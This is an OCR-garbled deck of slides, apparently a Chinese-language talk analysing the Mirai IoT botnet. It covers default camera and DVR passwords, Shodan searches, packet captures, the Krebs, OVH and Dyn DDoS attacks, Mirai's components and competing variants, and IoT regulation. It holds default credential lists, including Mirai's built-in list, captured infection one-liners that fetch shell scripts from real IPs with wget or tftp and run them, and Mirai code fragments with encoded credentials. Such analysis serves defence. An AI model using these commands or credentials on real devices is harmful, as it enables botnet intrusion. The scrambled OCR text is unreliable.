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=] & IP Video Market Info Inc. [US] | https://fipvm.com/reports/ip-cameras-default-passwords-directory

! rA (O Imported From Fire' [0 Mew folder [0 study (3 botnet ([ tocls W Bookmarks

Im About Articles~ Members Tests Courses  Calculator Tools ~

changes by manufacturers as well as password security issues.

[Don't miss downloading our free IP video surveillance book.]

Manufacturer List

For each manufacturer, we list the username first and pasword section in the following format:
username/password. Where manufacturers have multiple defaults, or differences in newer/clder
firmwares, we have noted it:

ACTI: admin/123456 or Admin/123456

American Dynamics: admin/admin or admin/9999

Arecont Vision: none

Avigilon: Previously admin/admin, changed to Administrator/<blank= in later firmware
versions

Axis: Traditionally root/pass, new Axis cameras require password creation during first login
(though root/pass may be used for ONVIF access)

Basler: admin/admin

Bosch: None required, but new firmwares (6.0+) prompt users to create passwords on first
login

Brickcom: admin/admin

Canon: root/camera

Cisco: No default password, requires creation during first login

Dahua: admin/admin

Digital Watchdog: admin/admin

DRS: admin/1234

DV Tel: Admin/1234

DynaColor: Admin/1234

FLIR: admin/fliradmin

FLIR (Dahua OEM): admin/admin

Foscam: admin/<blank:=

weak password of some DVRs

Usernmame/Password

Manufacturer

admin/ 123456

root/anko

root/pass

root/7uiMkoOadmin

E66666/666666

root/dreambox

root/zbox

rootjuantech

root/xc3511

root/hi3518

root/kivi23

root/kivi234

rootfyjvbzd

|root/admin

root/system

roovs4321

root/00000000

roct/realtek

adminv1111111

root/xmhdipc

admin/smcadmin

root/ikkwbd

ubnt/ubnt

SUpPervVISOrSuUpPervisor

root/<none>

admin/1111

>

root/ZieS21

weak password built-in mirai




N=N
2. IIFIIIF

Directory of Video Surveillance
Cybersecurity Vulnerabilities and

Exploits

name indicate products that d the original
manufacturer listed.

sloiting web interface.

16 -NUU
16 - Dah

KerneronSecurity

Remote Code Execution in CCTV-DVR
affecting over 70 different wvendors

Vendors List

Acernmco

site

ilting

Fujitron
Full HD
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5L #-1oT Search Engine

Q Explore Downloads Reports

&% SHODAN

& Download Results |l Create Report

NETSurveillance WEB
Sanchit Infocomm Pvt. Ltd.

—= India, Amritsar =r uc-httpd
Details 0

Viet Nam

Brazil NETSurveillance WEB
Turkey

Taiwan, Province of C...
Russian Federation

Co.pa.co.

—= Paraguay
Details

| SRR BB R O S RoER Q8 BE-  RamEm - (Q) My
NTI ZERI SRPO ASUS RT-AC87U FTP > FHl~

Q &HEFE—T =g



D) HREE-PIREHEADH

root 1212 S sh -c cd /tmp&& wget http://104.223.180.39:6521/8888
.
> niEHiE, MEEES root  1913m S ./8888
root 27628 S /12345

ca -—-I::u cb bb e5 a5 cc <7
=5 Ob ‘I_"_\ o0 00

Wo., Time Source restination Protocol Length Info
1 2016-09-29 21 :46:19. 6728532 R & P TCP 660 60363 > 48101 [3vN]
2 2016-092-29 21 :46:19. 9504090 o.0.1. ( L. . 20 TCP 54 6 = 48101 [ACK] =
4 2016-09-29 21 :46:19. 950581 o.0.1. ( T T T2 TCP 55 ©6 = 48101 [PSH,
5 2006-09-29 21 :46:19. 950652 o.0.1. ( === ( TCP 1 = 48101 [FIMN,
8 2016-09-29 21 :46:20.221175 o.0.1. ( S ( TCP 54 a0363 : 481 [ack] =
ll &m " (111}
> 3* + Frame 5: 71 byrtes on wire (568 bits), 71 bytres captured (568 bits)
+ Ethernet IxX, src: Traficon_2&8:b3:ae (00:05:Fe:28:b3:ae), Dst: Aew '|r'|Tn—--= 4-_. b:L a9 (00:0d: S:bl1:99)
ﬂﬂ n 2 j o ¥ INnternet Protocol wersiom 4, src: 10.0.1.250 (10.0.1.250), Dst: _ - B """‘:
CC HE I Eﬁ { & + Transmission Control Protocol, src Port: &03262 (60363), Dst POrt: 431[}1 (431[}1) seq: 2, ack: 1, Len: 17
: I I Data: d3IBdScO9s001l704726fFaef740 507 ar 876
[Length: 17]
4 0 )d 48 45 99 00 05 fe 28 b
0 ¥ 3O .:: F 40 00 40 06 85
0
p
(R L]

cd /tmp || cd fvar/run || cd fdev/shm || cd /mnt || cd fvar;rm -f *;busybox
wget http://208.73.23.43/one.sh || wget http://208.73.23.43/one.sh || busybo
x Ttpget 208.73.23.43 four.sh four.sh || ftpget 208.73.23.43 four.sh four.sh

|| busybox tftp -r two.sh -g 208.73.23.43 || tftp -r two.sh -q 208.73.23.43

M g~ 1Y = || busybox tftp 208.73.23.43 -c get three.sh || tftp 208.73.23.43 -c get th
>ﬁﬁ*¥$3ﬁﬂ2§§ﬁﬁﬁﬂ§{=§ ree.sh;sh one.sh || sh two.sh || sh three.sh || sh four.sh;rmm -f *:exit &
Mozilla/5.0 (X11: U: Linux x86 64: en-US: rv:1.9.1.3) Gecko/20090913 Firefox
f3.5.3
Mozilla/5.0 (Windows: U: Windows NT 6.1: en: rv:1.9.1.3) Gecko/20090824 Fire
fox/3.5.3 (.NET CLR 3.5.30729)

Mozilla/5.0 (Windows: U: Windows NT 5.2: en-US: rv:1.9.1.3) Gecko/20000824 F
irefox/3.5.3 (.NET CLR 3.5.38729)

v



AT - STELS HZ IERE WA PIRE

Time Source - Destination Protocol Length Info
1 2016-09-29 23:09:43.836402 10.0.1.250 T.202 TCP 66 37260 > 48101
3 2016-09-29 23:09:44.126978 10.0.1.250 ‘ ®.202 TCP - 7260 > 48101
4 2016-09-29 2 09:44.127124 10.0.1.250 . Ty 202 TCP 60 > 48101

LSYN] Seq=0 Win=14600 Len=0 MSS=1460 SACK_PERM=
[ACK] Seq=1 Ack=1 wWin=14656 Len=0
[PSH, ACK] Seq=1 Ack=1l Win=14656 Len=1

Frame 5: 72 bytes on wire (576 bits), 72 bytes captured (576 bits)
Ethernet II, sSrc: Traficon_28:b3:ae (00:05:fe:28:b3:ae), Dst: AewinTec_45:b1:99 (00:0d:48:45:b1:99)
Internet Protocol version 4, Src: 10.0.1.250 (10.0.1.250), Dst: VNS . 202 GE .202)
Transmission control Protocol, Src Port: 37260 (37260), DSt Port: 48101 (48101), Seq: 2, Ack: 1, Len: 18
pata (18 bytes)

Data: befe6a060017056775657374053132333435

[Length: 18]

od 28 b3 ae 08 00 45 00
3a 27 f4 Oa 00 01 fa

ca 7 30 84 97 fb 65 50 19
esS @ 06 00 17 OS 67 75 65

Telnet escape character is "™]". h
Tryimg 1__._ ._ o L
Connected to ! a BT,

Escape character is "]

-~ AAIE

dv  _ws Login: jroot
PosowWol o .

BusyBox wl.1l6.1 {(2012-168-17F 17:323F:25 C5T) built-in shell {(ash)
Erter 'help® for a Llist of built-in commands.

10.224 |
2C~ .225

Television Internacional, S.A. de C. V.

I'] Mexico, Monterrey
Details
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FESUFIED

HTTR/1.1 209 0K

26 Nov 2016 @7:82:26 GM

Tag: "@-6354-62d"

" o =
ontent-Length:

cimeout=oy, max=4"

| aet-Modified: Maon, 13 Apr 2@1

HTTF/1.1 20@ 0K
26 Nov 2@16 18@:2

Keep-Alive: timeout=60,
| ast-Modified: Tue,

S

A aKis)

SRS KATL
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PP IoT-botnet attack against Krebs

= e
620G -"-




} loT-botnet attack against OVH

Octave Klaba / Oles

Last days, we got lot of huge DDoS. Here, the list of "bigger that 100Gbps” only.

You can see the

simultaneous DDoS arefclose to 1Tbps |

log /home/vac/logs/vac.log-last | egrep "pps\|
bps" | awk '{print $1,%$2,$3,$6}' | sed "s/ /|/g9" | cut -f
1,2,3,7,8,10,11 -d '|' | sed "s/ bps/Gbps/" | sed
pps/Mpps/" | cut -f 2,3,4,5,6,7 -d ":" | sort |
rep "gone" | sed "s/gonel|//"
Sep|18|10:49:12|tcp_ack|20Mpps |232Gbps
Sep|18|10:58:32|tcp_ack|15Mpps|173Gbps
Sep|18|11:17:02|tcp_ack|19Mpps|224Gbps
Sep|18|11:44:17 |tcp_ack|18Mpps|227Gbps
Sep|18|19:05:47 |tcp_ack|66Mpps | 735Gbps
Sep|18|20:48:27 |tcp_ack|81Mpps |360Gbps
Sep|18|22:43:32|tcp_ack|11Mpps|136Gbps
Sep|18|22:44:17 |tcp_ack|38Mpps |442Gbps
Sep|19|10:13:57 |tcp_ack|10Mpps|117Gbps
Sep|19|11:53:57 | tcp_ack|13Mpps|159Gbps
Sep|19|11:54:42 | tcp_ack|52Mpps |607Gbps
Sep|19|22:51:57 |tcp_ack|18Mpps|115Gbps
Sep|20|91:40:02|tcp_ack|22Mpps |191Gbps
Sep|20|01:40:47 |tcp_ack|93Mpps|799Gbps
Sep|20|01:50:07 | tcp_ack|14Mpps|124Gbps
Sep|20|01:50:32|tcp_ack|72Mpps |615Gbps
Sep|20|03:12:12|tcp_ack|49Mpps |418Gbps
Sep|20]|11:57:07 | tcp_ack|15Mpps|178Gbps
Sep|20|11:58:02|tcp_ack|68Mpps |698Gbps
Sep|20]12:31:12|tcp_ack|17Mpps|201Gbps
Sep|20]12:32:22|tcp_ack|50Mpps |587Gbps
Sep|20|12:47:02|tcp_ack|18Mpps|210Gbps
Sep|20|12:48:17 | tcp_ack|49Mpps |572Gbps
Sep|21|05:09:42 | tcp_ack|32Mpps | 144Gbps
Sep|21|20:21:37 |tcp_ack|22Mpps |122Gbps
Sep|22|00:50:57 |tcp_ack|16Mpps|181Gbps
You have new mail in /var/mail/root

o

£)  Octave Klaba / Oles

- I

This botnet with 145607 cameras/dvr]{(1-
30Mbps per IP) is able to send >1.5Tbps

DDoS. Type: tcp/ack, tcp/ack+psh, tcp/syn.

v BEU'RACBERD

Octave Klaba / Oles

IET

7/ new cameras participated in the DDo5 last 48H.

EEHIMEE

Octave Klaba / Oles
+15654 new cctv participated in the DDoS last 48H.

EEHMEE




}} IoT-botnet attack against DYN

The First DDoS attack began at 7:00 a.m. (EDT) and was
resolved by 9:20 a.m.

A second attack was reported at 11:52 a.m. and Internet users
began reporting difficulties accessing websites.

A third attack began in the afternoon, after 4.00 p.m.At 6:11 p.m.,
Dyn reported that they had resolved the issue.



https://en.wikipedia.org/wiki/Eastern_Daylight_Time
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») IoT botnet

mirai « LHIE NHbotnet

* XIFLIELE BRI botnet




« malwaremustdie &% —{9 mirailf [|IoHTiRS

 XJkrebsonsecurity &z 7 620GHIDDoSI{ T
* XJJOVH&Z] T 1THIDDoSI T

 EEEgithub_EFHE 7 miraifJi&ERS

. 8578 FHREAMDDOSKE , KL EE




») mirai-botnetsEt

fE fEIEEREA
+ report + attack \ mm bot client HEEERIEA<SHIRE. ddos
]
SETvE SEEE report RSEE  UESIRMAR | BIEHRELGE

WEESRSsE KXW EIESEbot client

report server

1. report the scan result ( ip/port/user/passwd )

2. login the device and download the sample

attack server



D) mirai-bot 4HiF

SFE

root@nsfocus: /botnet/mirai/: » cx/bins# file *

mirai.amm: ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped

mirai.arm/: ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped

mirai.mips: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
mirai.mpsl: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
mirai.ppc: ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, stripped
mirai.sh4: ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, stripped

mirai.spc: ELF 32-bit MSB executable, SPARC version 1_(SYSV), statically linked, stripped

HIEZREYL , 1 botiaf— 1 EEin (1ZmO1ER : BhlESsLfhiziT ) -
# netstat -anp|grep LISTEN

tcp B 0127.0.0.1:481601 0.0.0.0:* LISTEN  14851/)cnci)ledtocd
tcp B 0127.6.0.1:9 B.0.0.0:* LISTEN 12528/dc2cbfichdleh
tep B 0127.6.0.1:482682 B.0.0.0:* LISTEN - 15176/umbcpmbe1escd



}} mirai-bot 4F1E

EB487E22 23 80ixM , FHIEEEmalwaretz iz :

44 : if (killer kill by port(htons{(23)))
68 if (killer kill by port(htons{(22)))
88 if (killer kill by port(htons(88)))

=rs V2 = =
WESSA<L. IIEFRE
add auth entry(”\x50\x4D\ x40\ x56 A\x41\x11\x17\x13\x13", 10);
add auth entry( "\ x50\ x4D\ x4D\ x56' \ :

a
="
o
c
—~t
-y

entry( "\ x43\x46\x4F\x4B\x4C", “\x43\x46\x4F\x4B\x4C", 7):0x4D 022=0x6f="0
auth entry( \x50\x4D\x4D\x56", "\ xIA\xIA\xIA\xIA\x1A\x1A", 6) 4D~0x22= f='o

auth entry( "\ x50\ x4D\x4D\x56", "\ XSA\x4F\x4A\x46\x48\x52\x41 D 2-0)(6 i
auth entry(”\x50\x4D\x4D\x56", “\x46\x47\x44\x43\x57\x4E\x56 .g:}‘s ~0x22=0x6f="t

\ \ A\x54 » ;');
entry(”\x50\x4D\x4D\x56 \x43\ x46\ x4F\ x48\ A 0x507M0x22=0x72="r" ’

2
[+7
C
’-’
-

auth entry( " \x50\x4D\JHMD\x56", "\x48\x57\x43\x4C\x56\x47\x41\x4A", 5);

auth entry( \ x50\ x40\ x4D\x56 A3\ x10\x11\x16\x17\x14", 5).

auth entry( "\ x50\ x4D\x4D\x56", "‘\x17\x16\x11\x10\x13", 5);

entry( "\ xS1\x57\x52\x52\ x40\ x50\ x56", "\ x51\x57\x52\x52\x4D\x50\x56", 5);
auth entry( "\ x50\ x4D\ x4D\x56", "", 4);

auth entry( "\ x43\x46\x4F \ x4B\x4C", "\ x52\x43\x51\x51\x55\x4D\x50\x46", 4);
auth entry( "\ x50\ x4D\x4D\x56", "\ x50\x4D\x4D\x56", 4).;

auth entry( "\ x50\ x40\ x40\ x56", "‘x13\x10\x11\x16\x17", 4).

auth entry("\x57\x51\x47\x50", "\x57\x51\x47\x50", 3):

auth entrv("\x43\x46\ x4F\ x4B8\ x4C". s BB2

333333333333



) mirai DBEREHR—ITE

Time Destination Protocol Lengt = Info

2016-10-08 g g . 664308 156. 240, 225. 209 TCP 54 48188 Ttelnet Seq=0 Win=27093
2016-10-08 E E . 6684352 158.202.13.4 TCP 54 48188 telnet Seqg=0 Win=27093
2016-10-08 : : . 664390 119.42.79.164 TCP 54 48188 Ttelnet Seg=0 Win=27093
2016-10-08 E g 223761 24.122.218.179 TCP 54 32105 Telnet Seq=0 wWin=20545
2016-10-08 E g . 223803 104. 229.185.92 TCP 54 32105 telnet Win=20545
2016-10-08 : = . 224032 110.9.21.151 TCP 54 22105 telnet wWin=20545
2016-10-08 E g . 224081 40.187.147.162 TCP 54 32105 Telnet Seq=0

1. 30 © 23, 2323 D

[ LT S D T B — W

S i
BB R e s s

Protocol: TCP (&)
+ Header checksum: 0x923c [wvalidation disabled]
Source: 192.168.1.4 ({192.168.1.4)

\ -H- - Transmission Control Protocol, Src Port: 48188 (4B8188), Dst Port: telnet (23),
2. Bﬁ*ﬂ?ﬂ?mélx—x_l ( Bﬁﬁ_'l%{%% ) IP source port: 48188 (48188)

Destination port: telnet (23)
[stream index: 10]
Sequence number: 0 {relative sequence number)
Header Tlength: 20 bytes
Flags: Ox002 (SYN)
3 SYN @’ :t?E . TCP SEQ = DST IP wHimdrw sdrvae walua- 270032
° ) ° —_ —_ ec cb 20 8f b5 a5 00 05 fe bc 1f af 08 00
25 00 00 40 0& 931 Ic cO a8 01 04

3c 00 17 Igc TO el EI| 00 00 00 00
88 00 00

Source  Destination Protocol Length Info
1 2016-09-29 21:46:19. 672853 10.0.1.250 i .183. 202 TCP 66 60363 > 48101 [SYN] 5Seq=0 win=14600 Len=0 M55=1460 SACK_PE
. s " 3 2016-09-29 21:46:19,950409 10.0.1.250 ) 183,202 TCP 54 60363 > 48101 [ACK] Seq=l Ack=1 Win=14636 Len=0
E]zTHTEQ:S%EU repo rt Hﬁ%g% . 4 2016-09-29 21:46:19.950581 10.0.1.250 .183.202 TCP _5:5 60363 > 48101 [PSH, ACK] Segq=1 Ack=1 Win=14656 Len=1 ]
- 5 2016-09-29 21:46:19, 950652 10.0.1.250 183,202 TCP 71 60363 > 48101 [FIN, PSH, ACK] Seg=2 Ack=1l Win=14656 Len=17
® | t | | d 8 2016-09-29 21:46:20.231175 10.0.1.250 183. 202 TCP 54 60363 > 48101 [ACK] Seq=20 Ack=2 Win=14656 Len=0
o Se dsSS
Ip p r u r p W Flrdme 2; /1 LJ}-'LE‘_“r ur wirg (208 oiLs), L U}I‘Lt‘b LdpLUI'EU L0868 DiLs)
Ethernet II, Src: Traficon_28:b3:ae (00:05:fe:28:b3:ae), Dst: AewinTec_45:b1:99 (00:0d:48:45:b1:99)
Internet Protocol Version 4, src: 10.0.1.250 (10.0.1.250), Dst: 183.202 ¢ 183.202)
Transmission Control Protocol, Src Port: 60363 (60363), Dst Port: 48101 (48101), seq: 2, ack: 1, Len: 17
Data (17 bytes)
Data: d3Bd5c96001704726F6F740576697a7876
[Length: 17]

00 Od 48 45 bl 99 00 05 fe 28 b3 ae 08 00 45 00
00 39 a9 cf 40 00 40 06 85 23 Da 00 01 fa

b7 ca eb ch bb 25 a5 cc c7 db 7d da 71 b7 50 19
00 &5 Ob f8 00 00




D) mirai ThEgES--DDoOS K

duration

vector
targs_len
targets

opts_len
opts
raw data:

atk type:

atk opt

=t
[ IV o R TR [ W Y S K I L P

raw data:

et
[

wd

F

fd et
A

=t
un

atk type:

e
-l T

7/ atk opt

atk duration:

atk target

4 atk duration:

b atk target

1
targs_len

1
opts_len

CMD

HTTP-Flood

| domain

CMD

UDP-Flood

!
amazon . com

/

| payload-size

attack duration

attack type
target count

the targets to be
attacked

attack opts count

attack opts
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» malwaremustdie ~fh ¥ —0 0 iTiks | (FEERBFETR T
email: luabot@yandex.ru

- HIiCE BRI FEHIT 7 Kb

» BT 202, THEKEMAE  WEAEKX
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- [HIEEEmalware
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ESTAELISHED 36
ESTAELISHED [3:

LAST ACKE
LAST ANTK
LAST ATKE
LAST ATKE
LAasT ANTKE

LAST ATKE
LaST ATK
LAST ACKE
LAST ANTK

LAST ACK
L4ST_ACK
LAST ACK

LaST ATK

J New folder [ study W Bookmarks [
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ce Destination Protocol Length Info
.. 192.168.1.4 154.16.199.78 TCP
.. 154.16.1599.78 192.168.1.4 TCP
- 192.168.1.4 154.16.199.78 TCP
-~ 192.168.1.4 154.16.199.78 TELMNET 168 Telnet Data ...
. 192.168.1.4 154.16.199.78 TELNET 18274 Telnet Data ...

M Wireshark - i85 TCP 5% (tcp.stream eq 3) - luabotVSmirai_swi vithme

GET / HTTP/1.1

Host: new.swil chme.ru
Connection: close
User-Agent: Flying dick
Content-Length: 8008000
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PP mirai > other mirais

hightaooaxx..club
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PP mirai > other mirais ZILTFE

BERGIES | KRIJLAFREAVIP

2016-11-16 B7:46:25 CMD: 2 2016-11-16 @@:33:11 CMD: 3

raw data: raw data:

0x00 0x00 0x00 Dxle Ox04 0x01 Ox05 Oxff Ox52 Ox0d Ox20 Ox01 OxOf OxO1 Bx31 0x01 0x31 Ox00 Ox00 Ox00 Oxle Ox04 Ox01 OxchH Ox2e Ox92 Oxc7 Ox20 Ox01 OxOF Ox01 Ox31 Ox01 Ox31
atk duration: 30 atk duration: 30

atk type: ACK-Flood atk type: ACK-Flood

atk target [1] | 5. .157/32 atk target [1] | 198. .199/32

atk opt [1] | flag-syn 1 1 atk opt [1] | flag-syn 1 1

BERITHI LN CCARS=saIER:

root@test:/tracker/mirai#

, BEIXIRLIP

netstat -anp|grep dvrHelper|grep -v LISTEN|grep -v 8.8.8.8

tcp 0 6 10.10.10.106:36620 93.. .248:23 ESTABLISHED 2777/dvrHelper

tcp 0 6 10.10.10.106:43412 5. 8aai 0y :23 ESTABLISHED 2849/dvrHelper

tcp 0 4 10.10.10.106:41240 2% 104:23 TA H 73/dvrH r

tcp 0 1 10.10.10.106:46072 5.2 157:23 SYN SENT 2753/dvrHelper

tcp 0 6 10.10.10.106:55544 133.0°8 1 .248:23 ESTABLISHED 2764/dvrHelper

tcp 0 4 10.10.10.106:54130 198. & = .199:23 STABLISHED 2825/dvrHelper

tcp 0 6 10.10.10.106:59586 192. 90:666 LISHED 2789/dvrHelper

tcp 0 4 10.10.10.106:46894 69.. P5:23 HED 2813/dvrHelper
root@test:/tracker/mirai# ps aux|grep dvrHelper|grep -v defunct 1

root 2753 0.0 0.0 1200 4 pts/23 S 11:18 0:00 . ftp.x or.xXyz 23 48101
root 2764 0.0 0.0 1200 4 pts/23 S 11:18 0:00 . tw.c n 23 48102

root 2777 0.0 0.0 12060 872 pts/23 S 11:18 0:00 . hel yrk 23 48103

root 2789 0.0 0.0 12060 876 pts/23 S 11:18 0:00 . hic lub 666 48104
root 2801 0.0 0.0 1200 4 pts/23 S 11:18 0:00 . our.! 23 48105

root 2813 0.0 0.0 1200 4 pts/23 S 11:18 0:00 ./dvrHelper fuc - ook.com 23 48106
root [2825 0.0 0.0 1200 4 pts/23 S 11:18 0:00 ./dvrHelper loi" re.pw 23 48107 |

root 2837 0.0 0.0 1200 872 pts/23 S 11:18 0:01 ./dvrHelper 6d7 v es.net 2047 48108
root 2849 0.0 0.0 1200 872 pts/23 S 11:18 0:00 ./dvrHelper sed : 5.us 23 48109
root 2861 0.0 0.0 1200 4 pts/23 S 11:18 0:01 ./dvrHelper sdrfa® B 23 48110

root 2873 0.0 0.0 1200 872 pts/23 S 11:18 0:00 ./dvrHelper q5f x9md4g.ru 23 48111
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1668 root 2TR2 5 /egqll23
1589 root 7 5 . ,-"Ill m
1612 root 5 S . fxzocs
1645 root ? i larm
1671 root ? 5 L 2arm
2001 root ? i clEm
B root 2Te2d 5 L fays
2228 root 27624 3 A |
5 root Z 2 ./sh
23T root 2TA2E - . /DCLlimm-am

2608 root 212 3 zh —c cd /trphh wget kttp://142, 0039, 139: 280/ ubrt b4
root ;_. ;_. S L jubnt
2833 root i Jdrearm

i root ; {s1lh6p2lhaflde58} teud2eudgkud28tab7hajaqa
201 55:]3 20164 20204 root i {s1h6p2lhaflde58} teud2eudgkud28ta67hajaga
root [arm 1sb oabil
root ! [arm 1sb oabil
AR Gartner * iThomeZ(E8 » 201656 H root ] xzcez
//:n::"_;—__-[,'—”.’ll—‘-'J"‘E_‘l;g—'J ﬁﬁﬂﬁfg jiweinet root ] .J"IEE rm
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08 Europe to Push New Security Rules Amid loT
Mess

The European Commission is drafting new cybersecurity requirements to beef up security
around so-called Intermet of Things (IoT) devices such as Web-connected security
cameras, routers and digital video recorders (DVEs). News of the expected proposa

security firms are warning that a great many IoT devices are equipped with little or no

security protections.

More specifically, DHS is formulating a series of unifying principles - and best practices

--relating to loT security, including how to patch stuff that's already in the field and not

relying on an unsustainable physical regall process. Building security into the cloud will

also be an option. While much of this will wind up being non-technical and just plain
common sense for those who work full time in the security industry, awareness needs
to be ratcheted up in the mainstream, Silvers says (he didn’t specify when the
principles would be released, only that it would be after lots of “extensive consultation”

with industry stakeholders).
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